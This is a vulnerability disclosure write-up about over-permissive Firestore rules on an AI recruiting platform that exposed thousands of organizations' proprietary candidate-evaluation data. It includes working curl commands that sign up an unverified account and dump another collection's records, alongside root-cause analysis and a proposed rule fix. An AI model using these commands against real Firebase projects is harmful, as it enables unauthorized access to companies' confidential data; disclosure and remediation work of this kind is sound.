Broken Firestore Rules Leaked Every Company's Hiring Strategy
Target is an AI-powered recruiting platform. Companies use it to search candidates, define custom evaluation criteria, and let AI score matches. Free tier gives 5 credits. Enterprise plans cost thousands per year.
The platform uses Firebase/Firestore as its primary database. The Firestore security rules on two collections were too permissive.
the bug
Create a free account. No email verification needed. Get a Firebase ID token. Query the Firestore REST API:
# sign up (any email, no verification)
curl -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp\
?key=$APIKEY" \
-d '{"email":"anything@whatever.com","password":"Test123!",
"returnSecureToken":true}'
# download all search results from all organizations
curl -s "https://firestore.googleapis.com/v1/projects/[PROJECT]/\
databases/(default)/documents/search_results?pageSize=300" \
-H "Authorization: Bearer $TOKEN"
It returned everything. I paginated through 30 pages of 300 documents each and it was still going. 9,000+ records sampled, true total likely much higher.
The rerank_jobs collection was the same. 6,000+ documents with
ownerOrgId and ownerId for every search job. I enumerated 2,566
unique organizations and 3,173 unique users.
what was exposed
Each search_results document contained the searching organization's proprietary AI evaluation. Example from another company's search (redacted):
Criteria: "Storage" - "The candidate has experience in the
storage domain."
AI Result: yes
AI Reasoning: "Candidate worked with CosmosDB, PostgreSQL,
Azure data services and built data pipelines, indicating
storage domain experience."
Criteria: "ICT" - "The candidate has experience in the ICT
industry."
AI Result: yes
AI Reasoning: "Roles at IBM, Accenture, Microsoft and other
tech firms demonstrate clear ICT industry experience."
Match Rate: 100%
AI Provider: fireworks
This tells you exactly what role that company is filling, what skills they value, and how they evaluate people. That is their internal hiring strategy, visible to anyone with a free account.
The exposed fields per search result:
- autopilot.responses[].criteriaTitle - custom evaluation criteria
- autopilot.responses[].criteriaText - detailed rubric text
- autopilot.responses[].resultExplanation - AI reasoning about
candidate fit
- autopilot.matchRate - match score 0-100
- searchId - links to search config
- Candidate profile data (name, title, LinkedIn) - public by design,
that is the product
credit system bypass
Free accounts get 5 credits. Enterprise customers pay for unlimited access. Through the Firestore REST API, a free account can download unlimited search results that paying customers generated. The entire monetization model bypassed.
what was properly secured
These collections all returned PERMISSION_DENIED correctly:
users, orgs, projects, sourcing_contacts, contacts, agentic_projects, agent_leads, invites, activities, export_jobs, integrations, tags
So the issue was specific to search_results and rerank_jobs.
Not a blanket misconfiguration.
root cause
The Firestore security rule was probably:
allow read: if request.auth != null;
Instead of:
allow read: if request.auth != null
&& resource.data.ownerOrgId == getUserOrgId(request.auth.uid);
Any authenticated user can read any document. The fix needs
org-scoped read rules. Complication: search_results documents do
not have ownerOrgId yet, so that field needs to be backfilled
from the linked rerank_jobs document.
Also, Firebase signUp creates fully functional accounts with any email including @[company].ai and @[company].work. No verification. An attacker can spin up throwaway accounts endlessly.
scale
- 9,000+ search results sampled, pagination still going
- 2,566 customer organizations
- 3,173 users with Firebase UIDs
- Zero cost: free account, no email verification, no credits consumed
- Competitive intelligence for thousands of companies' hiring strategies
The candidate data (names, job titles) is public. That is the product. But the AI evaluation criteria, scoring rubrics, match reasoning, and search configs are proprietary to each organization. That is the breach.